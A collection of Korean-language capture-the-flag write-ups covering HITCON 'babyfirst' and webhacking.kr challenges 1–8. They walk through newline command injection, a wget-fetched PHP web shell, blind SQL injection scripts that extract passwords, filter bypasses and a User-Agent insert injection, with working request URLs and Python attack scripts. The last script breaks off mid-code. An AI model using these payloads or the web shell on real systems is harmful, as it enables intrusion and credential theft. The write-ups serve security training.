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[HITCON] babyfirst








Source Analysis

인젝션 취약점이 존재할 수 있는 입력부분을 찾아 인젝션 존재 여부를 확인합니다.

웹 사이트에 접속하니 다음과 같이 php 코드가 보입니다.

<?php
    highlight_file(__FILE__);
    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);
    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
    if ( !preg_match('/^\w+$/', $args[$i]) )
        exit();
    }
    exec("/bin/orange" . implode(" ", $args));
?>














Array 취약점

일단 GET으로 args 파라미터를 쓸 수 있는데 args[]에 문자열 이외에는 값을 입력하지 못하도록 preg_match를 걸어놨네요.

하지만, args[] 문자열 끝에 %0a(LF)를 넣을 수 있습니다.

touch 명령어로 파일 생성을 한번 해봅니다.

http://52.68.245.164/index.php?args[]=a%0a&args[]=touch&args[]=test

[실제 백엔드 동작]
/bin/orange a%0a
touch test





[image: web/../../_images/babyfirst-01_1.png]
정상적으로 파일이 생성이 됩니다.










wget을 통한 우회

wget으로 ip를 10진수 형식으로 변환해서 다운로드를 진행합니다.

(여기서 로컬 테스트라고 가정해서 192.168.0.16=>3232235536으로 설정했습니다.)

※ ip를 10진수로 바꿔야 하는 이유?

코드를 보시면 아시겠지만 문자열을 제외한 모든 입력에 대해 제한이 걸려있기 때문에 .을 쓸 수가 없습니다. 그렇기 때문에 10진수로 바꿔서 wget을 진행합니다.





외부 접속이 가능한 ip에 웹 서버를 구축하고, index.php 파일을 하나 만들어 올립니다.

<?php
    print shell_exec($_GET["cmd"]);
?>





그리고 wget으로 해당 ip(10진수)를 지정해주면 해당 파일이 sandbox/ip/ 폴더에 저장됩니다.

http://52.68.245.164/index.php?args[]=a%0a&args[]=wget&args[]=3232235536

[실제 백엔드 동작]
/bin/orange a%0a
wget 3232235536





여기서부터 또 하나 관문에 부딫혔습니다. wget을 쓸 경우 index.html로 고정되어 다운로드 된다는 점입니다.

※ wget으로 다운로드 시 index.html로 고정되면 안되는 이유?

html 페이지로는 쉘을 실행할 수 없기 때문에 php 코드로 저장이 가능해야 합니다.














tar를 통한 우회

그렇다면 대시(-)나 점(.)을 쓰지 않고 우회할 수 있는 리눅스 쉘 명령을 실행하는 방법이 뭐가 있을 까요?
(라이트업을 보니 wget 대신 busybox ftpget, twistd telnet 을 쓴 것도 있네요.)

php 소스가 있는 index.html을 새로 생성한 폴더에 다운로드한 후, 그 폴더를 tar를 통해 점이 없는 파일로 압축해서 점(.)을 우회하도록 합니다.

index.html

<?phpfile_put_contents('shell.php', '    <?php    print shell_exec($_GET["cmd"]);    ?>');?>





http://52.68.245.164/index.php?args[]=a%0a&args[]=mkdir&args[]=explit%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=32322355636%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit%0a&args[]=php&args[]=archived

/bin/orange a%0a
mkdir exploit%0a
cd exploit%0a
wget 32322355636%0a
tar cvf archived exploit%0a
php archived





결국 대쉬(-)도 안쓰고 점(.)도 안쓰고 php 명령을 실행해서 shell.php 파일을 만들어내는군요.

테스트는 안해봤지만 아마 다음과 같이 쉘 명령을 실행할 수 있을 것으로 보입니다.

http://52.68.245.164/sandbox/local_ip/shell.php?cmd=ls
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[webhacking.kr] 01


Flow Chart










Source analysis

Cookie 값만 만족하면 문제가 해결될 수 있습니다.

<?
if(!$_COOKIE[user_lv])
{
    SetCookie("user_lv","1");
    echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?

$password="????";
if(eregi("[^0-9,.]",$_COOKIE[user_lv]))
    $_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>=6)
    $_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>5)
    @solve();
echo("<br>level : $_COOKIE[user_lv]");
?>
<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>














solve

$_COOKIE[user_lv]이 5보다 크고 6보다 작아야 하기 때문에 5.1값을 넣어주면 문제가 해결됩니다.
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[webhacking.kr] 02


Flow Chart










Source analysis

해당 html 소스 내에 주석 처리된 부분에 time이 출력되는 것을 볼 수 있는데, 쿠키 값에 time이 설정되어 있는 것으로 보아 해당 쿠키 값이 페이지 상에 출력되는 것으로 추측됩니다.

<html>
<head>
<title>Project Progress</title>
</head>
<body bgcolor=black>
<center>
<table width=970 bgcolor=white>
<td colspan=5>
<img src="img/new_main.jpg" alt="" usemap="#main.jpg" style="border: 0;" />
<map name="main.jpg">
    <area shape="rect" coords="15,8,517,54" href="index.php" target="" alt="" />
    <area shape="rect" coords="339,63,403,93" href="about.php" target="" alt="" />
    <area shape="rect" coords="413,63,490,92" href="member.php" target="" alt="" />
    <area shape="rect" coords="500,63,582,92" href="research.php" target="" alt="" />
    <area shape="rect" coords="592,63,651,92" href="bbs/index.php" target="" alt="" />
    <area shape="rect" coords="662,64,745,93" href="fun.php" target="" alt="" />
    <area shape="rect" coords="756,63,825,93" href="contact.php" target="" alt="" />
    <area shape="rect" coords="851,7,890,65" href="admin/" target="" alt="" />

</map>
<br><center><br>
</td><tr>
</table>

<table bgcolor=white width=976>
<td width=88></td>
<td width=800>
<br>
<center>
<a href=index.php><img src=img/new.jpg border=0></a><br>
<br><br>
<!--2015-11-24 10:12:18--></td>
<td width=88></td>
</table>

<table width=970 bgcolor=black>
<td><br><center><font size=2 color=white>Copyright ¨Ï 2008 beistlab. All rights reserved</td>
</table>














True/False check

Cookie 값 입력을 통해 True/False 여부를 확인한다.

cookie = '1 and 1=1'  // True: <!--2070-01-01 09:00:01-->
cookie = '1 and 1=2'  // False: <!--2070-01-01 09:00:00-->














Blind SQL Injection

테이블 명과 컬럼 명은 유추를 통해 확인할 수 있다.


	테이블 명 : FreeB0aRd

	컬럼명 : password



다음 쿼리문을 입력해서 password 길이를 확인한다.


	password 길이 : 9



import requests

cookie = {
    "PHPSESSID":"di0tppi0hjd8prirqbkkl6isj2",
    "time":"1 and (select if(length(password)>8,1,0) from FreeB0aRd)"
}
url = "http://webhacking.kr/challenge/web/web-02/index.php"
r = requests.get(url,cookies=cookie, verify=False)

print r.content.split('<!--')[1].split('-->')[0]





다음 쿼리문을 입력해서 FreeB0aRd password 값을 확인한다.


	FreeB0aRd password : 7598522ae



import requests

pw =""
for i in range(1,10):
    for j in range(33,126):
        #print j
        cookie = {
            "PHPSESSID":"di0tppi0hjd8prirqbkkl6isj2",
            "time":"1 and (select ascii(substr(password,%d,1)) from FreeB0aRd)=%d" % (i,j)
        }

        url = "http://webhacking.kr/challenge/web/web-02/index.php"
        r = requests.get(url,cookies=cookie, verify=False)
        q = r.content.split('<!--')[1].split('-->')[0]
        if "09:00:01" in q:
            pw += chr(j)
            print pw
            break

print pw





확인된 패스워드를 패스워드가 걸려있는 게시판에 입력한 결과 하나의 다운로드 링크가 존재한다.
페이지에서 파일을 다운 받으면 __AdMiN__FiL2.zip 이라는 압축 파일이 존재하는데 해당 파일이 암호가 걸려있다.

해당 파일에 대한 패스워드는 admin 페이지에 존재하는 것으로 추측되며 admin 페이지 패스워드를 위와 같은 방식으로 찾는다.


	admin password: 0nly_admin



해당 패스워드로 압축 파일을 해제하면 인증 패스워드를 확인할 수 있다.
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[webhacking.kr] 03


Flow Chart










Source analysis

해당 페이지는 퍼즐 형식으로 되어 있는데 퍼즐을 풀면 그때부터 문제가 시작됩니다.
해당 퍼즐 정답은 다음과 같습니다.

[image: web/../../_images/web-03_1.png]
<html>
<head>
<title>Challenge 3</title>
</head>
<body>
<center>Puzzle</center>
<p>
<hr>
<form name=kk method=get action=index.php>
<table border=3 width=500 height=500 align=center bgcolor=white>
<tr align=center>
<td colspan=3 rowspan=3 bgcolor=white></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>1</td>
</tr>
<tr align=center>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr align=center>
<td>1</td>
<td>3</td>
<td>1</td>
<td>3</td>
<td>1</td>
</tr>
<tr align=center>
<td>1</td>
<td>1</td>
<td>1</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._1.value=1; } else { this.style.background='white';kk._1.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._2.value=1; } else { this.style.background='white';kk._2.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._3.value=1; } else { this.style.background='white';kk._3.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._4.value=1; } else { this.style.background='white';kk._4.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._5.value=1; } else { this.style.background='white';kk._5.value=0; }" >&nbsp;</td>
</tr>
<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>0</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._6.value=1; } else { this.style.background='white';kk._6.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._7.value=1; } else { this.style.background='white';kk._7.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._8.value=1; } else { this.style.background='white';kk._8.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._9.value=1; } else { this.style.background='white';kk._9.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._10.value=1; } else { this.style.background='white';kk._10.value=0; }" >&nbsp;</td>
</tr>
<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>3</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._11.value=1; } else { this.style.background='white';kk._11.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._12.value=1; } else { this.style.background='white';kk._12.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._13.value=1; } else { this.style.background='white';kk._13.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._14.value=1; } else { this.style.background='white';kk._14.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._15.value=1; } else { this.style.background='white';kk._15.value=0; }" >&nbsp;</td>
</tr>
<tr align=center>
<td>&nbsp;</td>
<td>1</td>
<td>1</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._16.value=1; } else { this.style.background='white';kk._16.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._17.value=1; } else { this.style.background='white';kk._17.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._18.value=1; } else { this.style.background='white';kk._18.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._19.value=1; } else { this.style.background='white';kk._19.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._20.value=1; } else { this.style.background='white';kk._20.value=0; }" >&nbsp;</td>
</tr>
<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>5</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._21.value=1; } else { this.style.background='white';kk._21.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._22.value=1; } else { this.style.background='white';kk._22.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._23.value=1; } else { this.style.background='white';kk._23.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._24.value=1; } else { this.style.background='white';kk._24.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._25.value=1; } else { this.style.background='white';kk._25.value=0; }" >&nbsp;</td>
</tr>
</table>
<input name=_1 size=2 value=0 type=hidden>
<input name=_2 size=2 value=0 type=hidden>
<input name=_3 size=2 value=0 type=hidden>
<input name=_4 size=2 value=0 type=hidden>
<input name=_5 size=2 value=0 type=hidden>
<input name=_6 size=2 value=0 type=hidden>
<input name=_7 size=2 value=0 type=hidden>
<input name=_8 size=2 value=0 type=hidden>
<input name=_9 size=2 value=0 type=hidden>
<input name=_10 size=2 value=0 type=hidden>
<input name=_11 size=2 value=0 type=hidden>
<input name=_12 size=2 value=0 type=hidden>
<input name=_13 size=2 value=0 type=hidden>
<input name=_14 size=2 value=0 type=hidden>
<input name=_15 size=2 value=0 type=hidden>
<input name=_16 size=2 value=0 type=hidden>
<input name=_17 size=2 value=0 type=hidden>
<input name=_18 size=2 value=0 type=hidden>
<input name=_19 size=2 value=0 type=hidden>
<input name=_20 size=2 value=0 type=hidden>
<input name=_21 size=2 value=0 type=hidden>
<input name=_22 size=2 value=0 type=hidden>
<input name=_23 size=2 value=0 type=hidden>
<input name=_24 size=2 value=0 type=hidden>
<input name=_25 size=2 value=0 type=hidden>
<input name=_answer type=hidden>

<center><input type=button value='gogo' onclick=go()></center>

<script>
function go()
{
    var answer="";
    for(i=1;i<=25;i++) {
        answer=answer+eval("kk._"+i+".value");
    }
    kk._answer.value=answer;
    kk.submit();
}
</script>

</body>
</html>





정답 입력후 gogo 버튼을 클릭하면 다음과 같은 화면이 출력된다.

[image: web/../../_images/web-03_2.png]
소스를 확인해 보면 다음과 같이 post 형식으로 데이터를 보내고 있다.

<html>
<head>
<title>Challenge 3</title>
</head>
<body>
<center>Puzzle</center>
<p>
<hr>

<form name=kk method=get action=index.php>

</form><form method=post action=index.php><input type=hidden name=answer value=1010100000011100101011111>name : <input type=text name=id maxlength=10 size=10><input type=submit value='write'>














True/False check

임의의 값을 입력하여 출력되는 메시지를 확인한다.

import requests

url = "http://webhacking.kr/challenge/web/web-03/index.php?_1=1&_2=0&_3=1&_4=0&_5=1&_6=0&_7=0&_8=0&_9=0&_10=0&_11=0&_12=1&_13=1&_14=1&_15=0&_16=0&_17=1&_18=0&_19=1&_20=0&_21=1&_22=1&_23=1&_24=1&_25=1&_answer=1010100000011100101011111"
cookies = {
    "PHPSESSID":"di0tppi0hjd8prirqbkkl6isj2",
}
data = {
    "answer": "1",
    "id":"1"
}
r = requests.post(url, data=data, cookies = cookies, verify=False)

print r.content





출력 결과는 다음과 같다.

<html>
<head>
<title>Challenge 3</title>
</head>
<body>
<center>Puzzle</center>
<p>
<hr>

<form name=kk method=get action=index.php>

<p>name : 1<br>answer : 1<br>ip : 125.140.118.254<hr><p>name : 1<br>answer : 1<br>ip : 125.140.118.254<hr><p>name : 1<br>answer : 1<br>ip : 125.140.118.254<hr><p>name : 33<br>answer : 1<br>ip : 125.140.118.254<hr><p>name : 33<br>answer : 1<br>ip : 125.140.118.254<hr><p>name : 33<br>answer : 1||1<br>ip : 125.140.118.254<hr>














Blind SQL Injection

해당 문제에 입력 부분은 name과 answer이고, 출력 부분은 name, answer, ip이다.
출력 결과를 보면 ip는 항상 같고, answer가 같은 값을 입력한 상태에서 name값을 다르게 입력하면 누적형식으로 쌓인 데이터를 확인할 수 있다. SQL 쿼리문으로 표현하면 다음과 같다.

select id, answer, ip from $table_name where ip= $_SERVER[REMOTE_ADDR] and answer = $_POST[answer]





$_POST[answer]에 참인 값을 or 형식으로 넣어주면 모든 answer 출력 결과를 얻을 수 있다.

select id, answer, ip from $table_name where ip= $_SERVER[REMOTE_ADDR] and answer = 1 or 1
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Source analysis

해당 문제는 웹 관련 문제라기 보다는 Crypto 관련 문제라고 보면 된다.
base64로 인코딩된 문자열이 보인다. 디코딩 해보자.

YzQwMzNiZmY5NGI1NjdhMTkwZTMzZmFhNTUxZjQxMWNhZWY0NDRmMg














Base64 Decode

디코딩하면 다음과 같이 40 바이트 값이 나온다. 40바이트의 경우 SHA-1 decrypt를 써서 디코딩해보자.

c4033bff94b567a190e33faa551f411caef444f2














Sha1 Decrypt

sha1 decrypt site [https://hashkiller.co.uk/sha1-decrypter.aspx] 에서 decrypt를 2번 해주면 다음과 같이 정답이 나온다.

test
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Source analysis

해당 페이지에는 Login과 Join 버튼만 존재하는데 Join 버튼을 클릭할 경우 ‘Access_Denied’가 된다.
Login 버튼을 클릭하면 로그인 페이지가 뜨게 되는데 특별한 부분을 확인할 수 없다.
Login 버튼 클릭시 login.php로 접근하므로 join.php로 접근을 해보니 검은 바탕화면이 나타나는데 해당 소스를 확인할 수 있었다.

<html>
<title>Challenge 5</title></head><body bgcolor=black><center>
<script>
l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) { bye; }if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');history.go(-1);}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=5></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+' maxlength=10></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}
</script>
</body>
</html>





javascript로 된 페이지로 해당 난독화 부분을 복호화해보자.

< html >
< title > Challenge 5 < /title></head > < body bgcolor = black > < center >
< script >
l = 'a';
    ll = 'b';
    lll = 'c';
    llll = 'd';
    lllll = 'e';
    llllll = 'f';
    lllllll = 'g';
    llllllll = 'h';
    lllllllll = 'i';
    llllllllll = 'j';
    lllllllllll = 'k';
    llllllllllll = 'l';
    lllllllllllll = 'm';
    llllllllllllll = 'n';
    lllllllllllllll = 'o';
    llllllllllllllll = 'p';
    lllllllllllllllll = 'q';
    llllllllllllllllll = 'r';
    lllllllllllllllllll = 's';
    llllllllllllllllllll = 't';
    lllllllllllllllllllll = 'u';
    llllllllllllllllllllll = 'v';
    lllllllllllllllllllllll = 'w';
    llllllllllllllllllllllll = 'x';
    lllllllllllllllllllllllll = 'y';
    llllllllllllllllllllllllll = 'z';
    I = '1';
    II = '2';
    III = '3';
    IIII = '4';
    IIIII = '5';
    IIIIII = '6';
    IIIIIII = '7';
    IIIIIIII = '8';
    IIIIIIIII = '9';
    IIIIIIIIII = '0';
    li = '.';
    ii = '<';
    iii = '>';
    lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
    lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
    if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
        bye;
    }
    if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {
        alert('access_denied');
        history.go(-1);
    } else {
        document.write('<font size=2 color=white>Join</font><p>');
        document.write('.<p>.<p>.<p>.<p>.<p>');
        document.write('<form method=post action=join.php>');
        document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=id maxlength=5></td></tr>');
        document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=pw maxlength=10></td></tr>');
        document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
    } < /script> < /body> < /html>














trim 함수 우회

코드를 보면 join.php로 id, pw 파라미터를 통해 가입을 하는 것을 확인할 수 있다. 해당 페이지로 admin을 가입하면 오류 메시지가 발생하는데 space를 넣어 가입할 경우 정상적으로 가입된다. 아마, trim 함수를 통해 id를 확인하는 것으로 보인다.

import requests

url = "http://webhacking.kr/challenge/web/web-05/mem/join.php"
cookies = {
    "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
data = {
    "id": "admin ",
    "pw":"1234"
}

r = requests.post(url, data=data, cookies = cookies, verify=False)

print r.content














solve

가입한 계정으로 로그인을 진행하면 로그인 성공!

import requests

url = "http://webhacking.kr/challenge/web/web-05/mem/login.php"
cookies = {
    "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
data = {
    "id": "admin",
    "pw":"1234"
}

r = requests.post(url, data=data, cookies = cookies, verify=False)

print r.content
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Source analysis

입력 부분: $_COOKIE[user], $_COOKIE[password]

출력 부분: @solve(6,100);

<?php
if(!$_COOKIE[user])
{
    $val_id="guest";
    $val_pw="123qwe";

    for($i=0;$i<20;$i++)
    {
        $val_id=base64_encode($val_id);
        $val_pw=base64_encode($val_pw);

    }

    $val_id=str_replace("1","!",$val_id);
    $val_id=str_replace("2","@",$val_id);
    $val_id=str_replace("3","$",$val_id);
    $val_id=str_replace("4","^",$val_id);
    $val_id=str_replace("5","&",$val_id);
    $val_id=str_replace("6","*",$val_id);
    $val_id=str_replace("7","(",$val_id);
    $val_id=str_replace("8",")",$val_id);

    $val_pw=str_replace("1","!",$val_pw);
    $val_pw=str_replace("2","@",$val_pw);
    $val_pw=str_replace("3","$",$val_pw);
    $val_pw=str_replace("4","^",$val_pw);
    $val_pw=str_replace("5","&",$val_pw);
    $val_pw=str_replace("6","*",$val_pw);
    $val_pw=str_replace("7","(",$val_pw);
    $val_pw=str_replace("8",")",$val_pw);

    Setcookie("user",$val_id);
    Setcookie("password",$val_pw);

    echo("<meta http-equiv=refresh content=0>");
}
?>

<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>

<?
    $decode_id=$_COOKIE[user];
    $decode_pw=$_COOKIE[password];

    $decode_id=str_replace("!","1",$decode_id);
    $decode_id=str_replace("@","2",$decode_id);
    $decode_id=str_replace("$","3",$decode_id);
    $decode_id=str_replace("^","4",$decode_id);
    $decode_id=str_replace("&","5",$decode_id);
    $decode_id=str_replace("*","6",$decode_id);
    $decode_id=str_replace("(","7",$decode_id);
    $decode_id=str_replace(")","8",$decode_id);

    $decode_pw=str_replace("!","1",$decode_pw);
    $decode_pw=str_replace("@","2",$decode_pw);
    $decode_pw=str_replace("$","3",$decode_pw);
    $decode_pw=str_replace("^","4",$decode_pw);
    $decode_pw=str_replace("&","5",$decode_pw);
    $decode_pw=str_replace("*","6",$decode_pw);
    $decode_pw=str_replace("(","7",$decode_pw);
    $decode_pw=str_replace(")","8",$decode_pw);

    for($i=0;$i<20;$i++)
    {
        $decode_id=base64_decode($decode_id);
        $decode_pw=base64_decode($decode_pw);
    }

    echo("<font style=background:silver;color:black>&nbsp;&nbsp;HINT : base64&nbsp;&nbsp;</font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>");
    echo("ID : $decode_id<br>PW : $decode_pw<hr>");

    if($decode_id=="admin" && $decode_pw=="admin")
    {
        @solve(6,100);
    }
?>
</body>
</html>














Cookie Base64 decode

입력 부분이 쿠키값이기 때문에 쿠키값을 확인해보면 쿠키값이 존재함을 확인할 수 있다.
해당 쿠키값을 base64로 디코드했을 때 id는 guest이고 pw는 123qwe으로 보인다.
출력 부분을 보면 id와 pw가 admin일 경우 해결이 된다고 하니 admin을 encode해보자.

import base64

user = 'admin'
pw = 'admin'

for i in range(20):
    user = base64.b64encode(user)
    pw = base64.b64encode(pw)

user=user.replace("1","!")
user=user.replace("2","@")
user=user.replace("3","$")
user=user.replace("4","^")
user=user.replace("5","&")
user=user.replace("6","*")
user=user.replace("7","(")
user=user.replace("8",")")

pw=pw.replace("1","!")
pw=pw.replace("2","@")
pw=pw.replace("3","$")
pw=pw.replace("4","^")
pw=pw.replace("5","&")
pw=pw.replace("6","*")
pw=pw.replace("7","(")
pw=pw.replace("8",")")

print user
print pw
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Source analysis

입력 부분: $_GET[val]

출력 부분: @solve();

<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.
union을 이용하세요
-->
<?
$answer = "????";

$go=$_GET[val];

if(!$go) {
    echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);

echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");

if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck))
    exit("Access Denied!");

if(eregi(' ',$ck)) {
    echo('cannot use space');
    exit(); }

$rand=rand(1,5);
if($rand==1)
{
    $result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}
if($rand==2)
{
    $result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}
if($rand==3)
{
    $result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}
if($rand==4)
{
    $result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}
if($rand==5)
{
    $result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]){
    echo("query error");
    exit(); }
if($data[0]!=1 && $data[0]!=2) {
    exit(); }
if($data[0]==1)
{
    echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
    alert('Access_Denied!')><p>");
    echo("<!-- admin mode : val=2 -->");
}
if($data[0]==2)
{
    echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
    alert('Congratulation')><p>");
    @solve();
}
</body>
</html>














eregi 함수 우회

입력 부분이 $_GET[val]이고, 해당 입력값에 상관없이 랜덤하게 쿼리가 실행되는 것을 볼 수 있다.
eregi로 필터링되는 함수를 제외하여 rand가 1일 때 실행할 수 있는 쿼리문을 작성해보자.

select lv from lv1 where lv=($_GET[val])





해당 소스 코드로 계속해서 request를 날리면 해결할 수 있다.

import requests

url = "http://webhacking.kr/challenge/web/web-07/index.php?val="+"1)%0aunion%0aselect%0a3-1%23)"
cookies = {
    "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}

r = requests.get(url, cookies = cookies, verify=False)

print r.content
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Source analysis

입력 부분: $_SERVER[HTTP_USER_AGENT], getenv(“HTTP_USER_AGENT”)

출력 부분: @solve();

<html>
<body>
<?
$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];
$agent=trim($agent);
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);
$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
$agent=strtolower($agent);
if(preg_match($pat,$agent))
    exit("Access Denied!");
$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);
$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) {
    @mysql_query("delete from lv0");
}
$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");
$ck=@mysql_fetch_array($q);
if($ck){
    echo("hi <b>$ck[0]</b><p>");
    if($ck[0]=="admin"){
        @solve();
        @mysql_query("delete from lv0");
    }
}
if(!$ck){
    $q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
    echo("<br><br>done!  ($count_ck[0]/70)");
}
?>
</body>
</html>








User-Agent 변조

입력 부분이 getenv(“HTTP_USER_AGENT”)이고, User-Agent를 변조해서 admin이라는 계정을 삽입할 수 있다.

insert into lv0(agent,ip,id) values('$agent','$ip','guest')





해당 소스 코드를 통해 agent값을 변조하여 쿼리를 날린다.

import requests

url = "http://webhacking.kr/challenge/web/web-08/index.php"
headers = {
    "User-Agent":"joizel','2.2.2.2','admin');#"
}
cookies = {
    "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.get(url, headers = headers, cookies=cookies, verify=False)

print r.content





등록한 agent를 이용해 쿼리를 날리면 패스워드를 확인할 수 있다.

select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'





import requests

url = "http://webhacking.kr/challenge/web/web-08/index.php"
headers = {
    "User-Agent":"joizel"
